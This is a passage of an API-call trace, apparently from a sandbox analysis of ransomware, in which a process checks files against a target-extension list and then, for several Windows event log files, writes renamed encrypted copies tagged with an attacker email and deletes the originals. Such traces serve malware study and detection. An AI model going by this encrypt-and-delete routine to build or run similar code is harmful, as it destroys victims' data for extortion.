(lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0154.544] lstrlenW (lpString=".zip") returned 4 [0154.544] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0154.544] lstrlenW (lpString=".rar") returned 4 [0154.544] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0154.544] lstrlenW (lpString=".bz2") returned 4 [0154.544] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0154.544] lstrlenW (lpString=".7z") returned 3 [0154.544] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0154.544] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0154.544] lstrlenW (lpString=".dbf") returned 4 [0154.545] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0154.547] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0154.547] lstrlenW (lpString=".1cd") returned 4 [0154.547] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0154.547] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0154.547] lstrlenW (lpString=".jpg") returned 4 [0154.547] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0154.573] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0154.573] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0154.573] lstrlenW (lpString=".doc") returned 4 [0154.573] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0154.573] lstrlenW (lpString=".docx") returned 5 [0154.573] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0154.573] lstrlenW (lpString=".pdf") returned 4 [0154.573] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0154.573] lstrlenW (lpString=".xls") returned 4 [0154.573] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0154.573] lstrlenW (lpString=".xlsx") returned 5 [0154.573] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0154.573] lstrlenW (lpString=".ppt") returned 4 [0154.573] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0154.573] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0154.573] lstrlenW (lpString=".zip") returned 4 [0154.573] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0154.573] lstrlenW (lpString=".rar") returned 4 [0154.573] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0154.573] lstrlenW (lpString=".bz2") returned 4 [0154.573] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0154.573] lstrlenW (lpString=".7z") returned 3 [0154.573] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0154.573] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0154.573] lstrlenW (lpString=".dbf") returned 4 [0154.573] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0154.573] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0154.573] lstrlenW (lpString=".1cd") returned 4 [0154.574] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0154.574] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0154.574] lstrlenW (lpString=".jpg") returned 4 [0154.574] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0154.574] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0154.574] lstrlenW (lpString="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 55 [0154.574] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0154.574] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=69632) returned 1 [0154.574] CloseHandle (hObject=0x384) returned 1 [0154.575] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx")) returned 0x20 [0154.575] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0154.575] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0154.575] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.575] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.575] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0154.575] GetLastError () returned 0x0 [0154.575] ReadFile (in: hFile=0x384, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x11000, lpOverlapped=0x0) returned 1 [0154.578] WriteFile (in: hFile=0x390, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x11010, lpOverlapped=0x0) returned 1 [0154.579] ReadFile (in: hFile=0x384, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0154.579] WriteFile (in: hFile=0x390, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x142, lpOverlapped=0x0) returned 1 [0154.579] SetEndOfFile (hFile=0x390) returned 1 [0154.579] CloseHandle (hObject=0x390) returned 1 [0154.581] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.581] SetEndOfFile (hFile=0x384) returned 1 [0154.582] CloseHandle (hObject=0x384) returned 1 [0154.582] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0154.582] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx")) returned 1 [0154.583] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0154.583] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0154.583] lstrlenW (lpString=".doc") returned 4 [0154.583] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0154.583] lstrlenW (lpString=".docx") returned 5 [0154.583] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0154.583] lstrlenW (lpString=".pdf") returned 4 [0154.583] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0154.583] lstrlenW (lpString=".xls") returned 4 [0154.583] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0154.583] lstrlenW (lpString=".xlsx") returned 5 [0154.583] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0154.583] lstrlenW (lpString=".ppt") returned 4 [0154.583] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0154.583] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0154.583] lstrlenW (lpString=".zip") returned 4 [0154.583] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0154.583] lstrlenW (lpString=".rar") returned 4 [0154.583] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0154.583] lstrlenW (lpString=".bz2") returned 4 [0154.583] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0154.583] lstrlenW (lpString=".7z") returned 3 [0154.583] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0154.583] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0154.583] lstrlenW (lpString=".dbf") returned 4 [0154.583] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0154.583] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0154.583] lstrlenW (lpString=".1cd") returned 4 [0154.583] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0154.583] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0154.583] lstrlenW (lpString=".jpg") returned 4 [0154.583] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0154.583] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0154.583] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0154.583] lstrlenW (lpString=".doc") returned 4 [0154.583] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0154.583] lstrlenW (lpString=".docx") returned 5 [0154.583] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0154.583] lstrlenW (lpString=".pdf") returned 4 [0154.583] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0154.583] lstrlenW (lpString=".xls") returned 4 [0154.583] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0154.583] lstrlenW (lpString=".xlsx") returned 5 [0154.583] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0154.583] lstrlenW (lpString=".ppt") returned 4 [0154.583] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0154.583] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0154.583] lstrlenW (lpString=".zip") returned 4 [0154.583] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0154.584] lstrlenW (lpString=".rar") returned 4 [0154.584] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0154.584] lstrlenW (lpString=".bz2") returned 4 [0154.584] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0154.584] lstrlenW (lpString=".7z") returned 3 [0154.584] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0154.584] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0154.584] lstrlenW (lpString=".dbf") returned 4 [0154.584] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0154.584] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0154.584] lstrlenW (lpString=".1cd") returned 4 [0154.584] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0154.584] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0154.584] lstrlenW (lpString=".jpg") returned 4 [0154.584] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0154.584] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0154.584] lstrlenW (lpString="Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 49 [0154.584] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0154.584] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=69632) returned 1 [0154.584] CloseHandle (hObject=0x384) returned 1 [0154.584] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx")) returned 0x20 [0154.584] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0154.584] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0154.584] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.585] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.585] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0154.585] GetLastError () returned 0x0 [0154.585] ReadFile (in: hFile=0x384, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x11000, lpOverlapped=0x0) returned 1 [0154.588] WriteFile (in: hFile=0x390, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x11010, lpOverlapped=0x0) returned 1 [0154.589] ReadFile (in: hFile=0x384, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0154.589] WriteFile (in: hFile=0x390, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x136, lpOverlapped=0x0) returned 1 [0154.590] SetEndOfFile (hFile=0x390) returned 1 [0154.590] CloseHandle (hObject=0x390) returned 1 [0154.592] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.592] SetEndOfFile (hFile=0x384) returned 1 [0154.593] CloseHandle (hObject=0x384) returned 1 [0154.593] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0154.594] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx")) returned 1 [0154.594] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0154.594] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0154.594] lstrlenW (lpString=".doc") returned 4 [0154.594] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0154.594] lstrlenW (lpString=".docx") returned 5 [0154.594] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0154.594] lstrlenW (lpString=".pdf") returned 4 [0154.594] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0154.594] lstrlenW (lpString=".xls") returned 4 [0154.594] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0154.594] lstrlenW (lpString=".xlsx") returned 5 [0154.594] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0154.594] lstrlenW (lpString=".ppt") returned 4 [0154.594] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0154.594] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0154.594] lstrlenW (lpString=".zip") returned 4 [0154.594] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0154.594] lstrlenW (lpString=".rar") returned 4 [0154.594] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0154.594] lstrlenW (lpString=".bz2") returned 4 [0154.594] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0154.594] lstrlenW (lpString=".7z") returned 3 [0154.595] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0154.595] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0154.595] lstrlenW (lpString=".dbf") returned 4 [0154.595] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0154.595] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0154.595] lstrlenW (lpString=".1cd") returned 4 [0154.595] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0154.595] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0154.595] lstrlenW (lpString=".jpg") returned 4 [0154.595] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0154.595] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0154.595] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0154.595] lstrlenW (lpString=".doc") returned 4 [0154.595] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0154.595] lstrlenW (lpString=".docx") returned 5 [0154.595] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0154.595] lstrlenW (lpString=".pdf") returned 4 [0154.595] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0154.595] lstrlenW (lpString=".xls") returned 4 [0154.595] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0154.595] lstrlenW (lpString=".xlsx") returned 5 [0154.595] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0154.595] lstrlenW (lpString=".ppt") returned 4 [0154.595] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0154.595] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0154.595] lstrlenW (lpString=".zip") returned 4 [0154.595] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0154.595] lstrlenW (lpString=".rar") returned 4 [0154.595] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0154.595] lstrlenW (lpString=".bz2") returned 4 [0154.595] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0154.595] lstrlenW (lpString=".7z") returned 3 [0154.595] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0154.595] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0154.595] lstrlenW (lpString=".dbf") returned 4 [0154.595] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0154.595] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0154.595] lstrlenW (lpString=".1cd") returned 4 [0154.595] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0154.595] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0154.595] lstrlenW (lpString=".jpg") returned 4 [0154.595] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0154.596] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0154.596] lstrlenW (lpString="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 64 [0154.596] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0154.600] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=69632) returned 1 [0154.600] CloseHandle (hObject=0x384) returned 1 [0154.600] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx")) returned 0x20 [0154.600] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0154.600] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0154.600] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.600] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.600] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0154.601] GetLastError () returned 0x0 [0154.601] ReadFile (in: hFile=0x384, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x11000, lpOverlapped=0x0) returned 1 [0154.606] WriteFile (in: hFile=0x390, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x11010, lpOverlapped=0x0) returned 1 [0154.607] ReadFile (in: hFile=0x384, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0154.608] WriteFile (in: hFile=0x390, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x154, lpOverlapped=0x0) returned 1 [0154.608] SetEndOfFile (hFile=0x390) returned 1 [0154.608] CloseHandle (hObject=0x390) returned 1 [0154.610] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.610] SetEndOfFile (hFile=0x384) returned 1 [0154.611] CloseHandle (hObject=0x384) returned 1 [0154.611] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0154.611] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx")) returned 1 [0154.612] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0154.612] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0154.612] lstrlenW (lpString=".doc") returned 4 [0154.612] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0154.612] lstrlenW (lpString=".docx") returned 5 [0154.612] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0154.612] lstrlenW (lpString=".pdf") returned 4 [0154.612] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0154.612] lstrlenW (lpString=".xls") returned 4 [0154.612] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0154.612] lstrlenW (lpString=".xlsx") returned 5 [0154.612] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0154.612] lstrlenW (lpString=".ppt") returned 4 [0154.612] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0154.612] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0154.612] lstrlenW (lpString=".zip") returned 4 [0154.612] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0154.612] lstrlenW (lpString=".rar") returned 4 [0154.612] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0154.612] lstrlenW (lpString=".bz2") returned 4 [0154.612] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0154.612] lstrlenW (lpString=".7z") returned 3 [0154.612] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0154.612] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0154.612] lstrlenW (lpString=".dbf") returned 4 [0154.612] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0154.612] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0154.612] lstrlenW (lpString=".1cd") returned 4 [0154.612] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0154.612] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0154.612] lstrlenW (lpString=".jpg") returned 4 [0154.612] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0154.612] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0154.612] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0154.612] lstrlenW (lpString=".doc") returned 4 